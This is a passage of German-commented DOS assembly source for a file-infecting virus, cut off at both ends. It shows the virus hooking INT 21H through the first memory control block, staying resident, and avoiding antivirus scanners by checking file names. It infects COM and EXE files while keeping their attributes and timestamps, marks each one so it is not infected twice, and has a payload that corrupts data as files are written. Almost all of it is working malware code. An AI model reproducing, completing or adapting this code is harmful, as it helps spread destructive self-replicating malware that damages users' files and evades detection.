MOV WORD PTR DS:[OFFSET ALT13-FAKTOR+2],ES ;(--> OFS und SEG)
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ INT 21H umbiegen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;------------------------------------------------------------------------------
; Aufruf von INT 21H ÄÄ> Vektor zeigt auf das 5.BYTE des ersten MCB ÄÄ> JMP
; ÄÄ> Sprung zum eigentlichen Virus... INT 21H zeigt somit in den 1. MCB
;------------------------------------------------------------------------------
MOV AH,52H ;DOS INFORMATION BLOCK (DIB) ermitteln
INT 21H ;...undokumentiert
MOV AX,ES ;<ES> in <AX>
DEC AX ;<AX> verkleinern
MOV ES,AX ;<ES> somit verkleinert!
ADD BX,12 ;...OFS auf die Adr. des ersten MCB
LES BX,ES:[BX] ;Adr. des ersten MCB in <ES>/<BX>
ADD BX,5 ;OFS auf das 1. ungenuzte BYTE im MCB
MOV BYTE PTR ES:[BX],0EAH ;JMP setzen (Direct intersegment)
MOV WORD PTR ES:[BX+1],OFFSET NEU21-FAKTOR ;OFS setzen
MOV WORD PTR ES:[BX+3],DS ;SEG setzen!
;------------------------------------------------------------------------------
MOV DX,BX ;OFS vorbereiten f<>r INT neu setzen
PUSH ES ;SEG sichern (f<>r INT neu setzen...)
;------------------------------------------------------------------------------
MOV AX,3521H ;Vektor von INT 21 lesen
INT 21H
MOV WORD PTR DS:[OFFSET ALT21-FAKTOR],BX ;Alten Vektor sichern
MOV WORD PTR DS:[OFFSET ALT21-FAKTOR+2],ES ;(--> OFS und SEG)
MOV AX,2521H ;INT 21H neu setzen
POP DS ;SEG des MCB in <DS> 
INT 21H ;OFS in <DX> (siehe oben ÄÙ)
;------------------------------------------------------------------------------
; <ES> und <DS> restaurieren:
;------------------------------------------------------------------------------
ENDE: POP DS ;<DS> und <ES> restaurieren
PUSH DS ;<--- (s.o.)
POP ES ;<--- (s.o.)
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus beenden (COM oder EXE..? s.o...): ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
DB 0EAH ;Direct Intersegment Jmp...
HOST_OFS DW 0100H ;OFS-ADR f<>r den R<>cksprung zum Host
HOST_SEG DW ? ;SEG-ADR f<>r den R<>cksprung zum Host
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Neuer INT 24H (Critical Error) Handler: º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
NEU24 PROC FAR ;Kritischer Fehler
MOV AL,3 ;Aktuelle Funktion abbrechen...
IRET ;Zur<75>ck zur fehlerhaften Funktion.
NEU24 ENDP
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Neuer INT 21H (Dos-Calls) Handler; º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
NEU21 PROC FAR ;DOS-INT
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Schon installiert ? Test <20>ber Versionsnummer, bei Erfolg: <DX> = 0FFFFH ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
CMP AH,30H ;DOS Versionsnummer ermitteln ?
JNZ VIR_21 ;NEIN --> VIR_21
CMP DX,ID_WORD ;<DX> gleich ID_WORD?
JNZ VIR_21 ;NEIN --> VIR_21
MOV DX,0FFFFH ;Pr<50>fbyte in <DX> zur<75>ckliefern...
IRET ;Virus schon drin --> INT beenden
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus laufen lassen... ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
VIR_21: PUSHALL ;Register sichern
CMP BYTE PTR CS:[OFFSET AKTIV-FAKTOR],0 ;Virus schon AKTIV ?
JNZ END21 ;JA (Schon aktiv !) --> END21
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Trigger testen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
CMP AH,40H ;Funktion=Datei schreiben?
JE TRIG_OK ;JA --> TRIG_OK
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ EXEC oder OPEN ? ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
CMP AX,4B00H ;EXEC-Aufruf ?
JE GO_INF ;JA --> GO_INF
CMP AH,3DH ;Datei ”ffnen ?
JNE END21 ;NEIN --> END21
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ EXE oder COM oder keins von beidem? ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
GO_INF: MOV BYTE PTR CS:[OFFSET AKTIV-FAKTOR],1 ;Virus ist jetzt AKTIV !!!
;------------------------------------------------------------------------------
MOV DI,DX ;<DI> mit OFS des Programmnamens laden
FIND_END: INC DI ;<DI> auf das n„chste Zeichen
JZ NEU21END ;<DI> wieder Null? JA --> NEU21END
CMP BYTE PTR DS:[DI],0 ;Ende-Zeichen des Dateinamens?
JNZ FIND_END ;NEIN --> FIND_END
;------------------------------------------------------------------------------
MOV CX,10 ;10 Durchl„ufe
XOR AL,AL ;Checksumme in <AX>
MAKE_SUM: DEC DI ;Aufs n„chste Zeichen des Dateinamens
MOV BP,DS:[DI-2] ;3 Zeichen des...
MOV BH,DS:[DI] ;...Dateinamens einlesen (<BP>/<BH>)
AND BP,0DFDFH ;Zeichen in den Regs <BP>/<BH> in...
AND BH,0DFH ;...Groáschrift umwandeln
CMP CX,7 ;Extension abgearbeitet?
JA EXT_CHK ;JA --> END_SUM
;------------------------------------------------------------------------------
XOR SI,SI ;Zeiger auf die SCANNER-Namen
TESTSCAN: CMP BP,WORD PTR CS:[OFFSET SCAN+SI-FAKTOR+1] ;Ersten 2 Chr in <BX>
JNZ NO_SCAN ;NIX... --> NO_SCAN
CMP BH,BYTE PTR CS:[OFFSET SCAN+SI-FAKTOR] ;N„chsten 2 Chr in <BP>
JZ NEU21END ;SCANNER!!! --> NEU21END
NO_SCAN: CMP SI,(ANZ_SCAN-1)*3 ;<SI> auf den letzten Eintrag pr<70>fen
JZ END_SUM ;Alles getestet --> END_SUM
ADD SI,3 ;Auf den n„chsten Namen
JMP TESTSCAN ;--> TESTSCAN
;------------------------------------------------------------------------------
EXT_CHK: ADD AL,BH ;Checksumme erh”hen
;------------------------------------------------------------------------------
END_SUM: LOOP MAKE_SUM ;Alle 3 Bytes abarbeiten
;------------------------------------------------------------------------------
CMP AL,223 ;Summe = "COM" ?
JZ F_START ;JA --> F_START --> START_ME !
CMP AL,226 ;Summe = "EXE" ?
JNZ NEU21END ;NEIN --> NEU21END
F_START: JMP START_ME ;--> START_ME !!!
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ INT 21H-Virus beenden: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
NEU21END: MOV BYTE PTR CS:[OFFSET AKTIV-FAKTOR],0 ;Virus ist jetzt NICHT...
;...MEHR aktiv!
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Sprung zum orginal INT 21H Handler: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
END21: POPALL ;Register laden
DB 0EAH ;Direct Intersegment Jmp...
ALT21 DD ? ;Far-ADR f<>r den R<>cksprung zum INT 21H
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º TRIGer_OK: º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
TRIG_OK: MOV AL,BYTE PTR CS:[OFFSET KOPIE-FAKTOR] ;LOW-BYTE von KOPIE in <AL>
AND AL,0111B ;Letzten 3 BITs NICHT ausmaskieren
JNZ END21 ;NEIN --> END21
CMP BX,4 ;Handle=Standard Ausgabe etc?
JBE END21 ;JA --> END21
;------------------------------------------------------------------------------
MOV SI,TXT_SIZ ;Text-l„nge in <SI>
MOV BX,DX ;OFS des Puffers in <BX>, s.u.
BOESE: MOV AL,BYTE PTR CS:[SI+OFFSET TEXT-FAKTOR] ;Text lesen
XOR AX,SI ;Entschl<68>sseln!
MOV DI,CX ;...und dann in den...
DEC DI ;(Pufferzeiger verkleinern!)
MOV DS:[DI+BX],AL ;Puffer schreiben!
DEC SI ;String-Zeiger verkleinern
JNZ EVIL ;NULL? NEIN --> EVIL
MOV SI,TXT_SIZ ;Text-l„nge in <SI>
EVIL: LOOP BOESE ;Puffer voll machen!
JMP END21 ;...und zur Dose!
;-----------------------------------------------------------------------------
TEXT DB 000,083,044,066,042,081,040,039,083,091,087,098,099,121,125,047
DB 075,080,079,116,117,124,120,100,108,057,065,079,065,120,125,119
DB 078,078,078,076,067,092,006,010,005,009,108,098,107,101,122,015
DB 121,101,018,113,117,118,125,023,025,024,027,027
TXT_SIZ EQU 59
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Infektions-Routinen des Virus: º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ INT 24H - Kritikal Errorhandler - merken: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
START_ME: MOV AX,3524H ;Vektor von INT 24 lesen
CALL GODOS ;--> Dose direkt callen
PUSH ES ;SEG vom Vektor sichern
PUSH BX ;OFS vom Vektor sichern
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Neuen INT 13H - HD/FLOPPY-INT - merken: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MOV AL,13H ;Vektor von INT 13 lesen, <AH>=35 (s o)
CALL GODOS ;--> Dose direkt callen
PUSH ES ;SEG vom Vektor sichern
PUSH BX ;OFS vom Vektor sichern
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Vektoren NEU setzen (Auf die Adressen, bevor der Virus installiert war): ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
PUSH DS ;SEG des Dateinamens (<DS>) gesichert
PUSH DX ;OFS des Dateinamens (<DX>) gesichert
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Kritikal Errorhandler auf eigene Routine umbiegen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MOV AX,2524H ;INT 24H neu setzen
PUSH CS ;SEG <DS> auf den...
POP DS ;...Wert von <CS> setzen
MOV DX,OFFSET NEU24-FAKTOR ;SEG in <DS>
CALL GODOS ;--> Dose direkt callen
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ INT 13H auf alten (vor dem Virus) Vektor setzen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
LDS DX,DWORD PTR CS:[OFFSET ALT13-FAKTOR] ;Urspr<70>nglichen 13H-Vektor:
MOV AL,13H ;Neu setzen:<AH>=25 (s.o)
CALL GODOS ;--> Dose direkt callen
;------------------------------------------------------------------------------
POP DX ;<OFS> des Dateinamens restaurieren
POP DS ;<SEG> des Dateinamens restaurieren
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Attribut lesen und neu schreiben: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MOV AX,4300H ;Attribut einer Datei ermitteln 
CALL GODOS ;SEG in <DS> und OFS in <DX> (siehe Oben ÄÙ)
JC REST_FAR ;FEHLER --> REST_INT
MOV SI,CX ;Attribut der Datei in <SI> retten
MOV AX,4301H ;Attribut einer Datei setzen
XOR CX,CX ;Neues Attribut 
CALL GODOS ;SEG in <DS> und OFS in <DX> (siehe Oben ÄÙ)
JNC ATTR_OK ;OK --> ATTR_OK
REST_FAR: JMP REST_INT ;FEHLER --> REST_INT
ATTR_OK: PUSH SI ;Attribut auf den Stack (merken!)
PUSH DX ;SEG des Dateinamens merken
PUSH DS ;OFS des Dateinamens merken
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Datei ”ffnen: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MOV AX,3D12H ;Datei ”ffnen, <AL>=Zugriffsmodus
CALL GODOS ;SEG des FNamens in <DS>, OFS in <DX>
JNC HANDLE ;OK --> HANDLE
JMP BREAK ;FEHLER --> BREAK
HANDLE: MOV BX,AX ;Handle in <BX> retten
;------------------------------------------------------------------------------
PUSH CS ;Nebenbei...
POP DS ;...<DS> auf <CS> setzen
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ ID_WORD TESTEN (Keine Doppelinfektion!): ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ID_TEST: MOV AX,4202H ;Dateizeiger bewegen, relativ zum Ende
MOV CX,0FFFFH ;HI-WORD des Offset
MOV DX,(-5) ;LO-WORD des Offset
CALL GODOS ;Handle in <BX>
JNC ID_OK ;OK --> Weiter
N_CLOSE: JMP CLOSE ;FEHLER --> CLOSE
ID_OK: MOV AH,3FH ;Datei lesen
MOV CX,2 ;Anzahl zu lesender BYTES
MOV DX,OFFSET PUFFER-FAKTOR ;OFS des Puffers, SEG in <DS>
CALL GODOS ;Handle in <BX>
JC N_CLOSE ;FEHLER --> CLOSE
CMP WORD PTR CS:[OFFSET PUFFER-FAKTOR],ID_WORD ;Kennbytes..?
JZ N_CLOSE ;JA --> CLOSE
MOV BYTE PTR CS:[OFFSET IMMUN-FAKTOR],0 ;IMMUN-Flag l”schen
CMP WORD PTR CS:[OFFSET PUFFER-FAKTOR],TNT_WORD ;Immunisiert..?
JNZ READ_IT ;JA --> READ_IT
MOV BYTE PTR CS:[OFFSET IMMUN-FAKTOR],1 ;Immunisiert...
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Ersten 18H BYTEs des Hosts merken: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
READ_IT: CALL SEEK_BEG ;Dateizeiger auf den Anfang der Datei
JC N_CLOSE ;FEHLER --> CLOSE
MOV AH,3FH ;Datei lesen
MOV CX,18H ;Anzahl zu lesender BYTES
MOV DX,OFFSET PUFFER-FAKTOR ;OFS des Puffers, SEG in <DS>
CALL GODOS ;Handle in <BX>
JC N_CLOSE ;FEHLER --> CLOSE
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ L„nge einlesen und merken: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MOV AX,4202H ;Dateizeiger bewegen, relativ zum Ende
XOR CX,CX ;HI-WORD des Offset
XOR DX,DX ;LO-WORD des offset
CALL GODOS ;Handle in <BX>
JC N_CLOSE ;FEHLER --> CLOSE
MOV SI,AX ;LO-WORD der Dateil„nge in <SI> merken
MOV DI,DX ;HI-WORD der Dateil„nge in <DI> merken
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Dateizeiger auf den Anfang des Hosts: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
CALL SEEK_BEG ;Dateizeiger auf den Anfang der Datei
JC N_CLOSE ;FEHLER --> N_CLOSE --> CLOSE
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Altes DATUM und alte ZEIT merken: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
MOV AX,5700H ;Lezte Modifikation der Datei merken
CALL GODOS ;Handle in <BX>
JC N_CLOSE ;FEHLER --> CLOSE
PUSH CX ;Uhrzeit merken
PUSH DX ;Datum merken
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ COM oder EXE..???? ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
CMP WORD PTR CS:[OFFSET PUFFER-FAKTOR],"ZM" ;EXE-Datei? ("MZ")
JZ GO_EXE ;JA --> GO_EXE
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ COM: ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
CMP SI,MAXGR ;Datei zu groá?
JAE POP_CLOSE ;JA --> CLOSE
MOV CS:[COMEXE-FAKTOR],0 ;COMEXE auf COM setzen
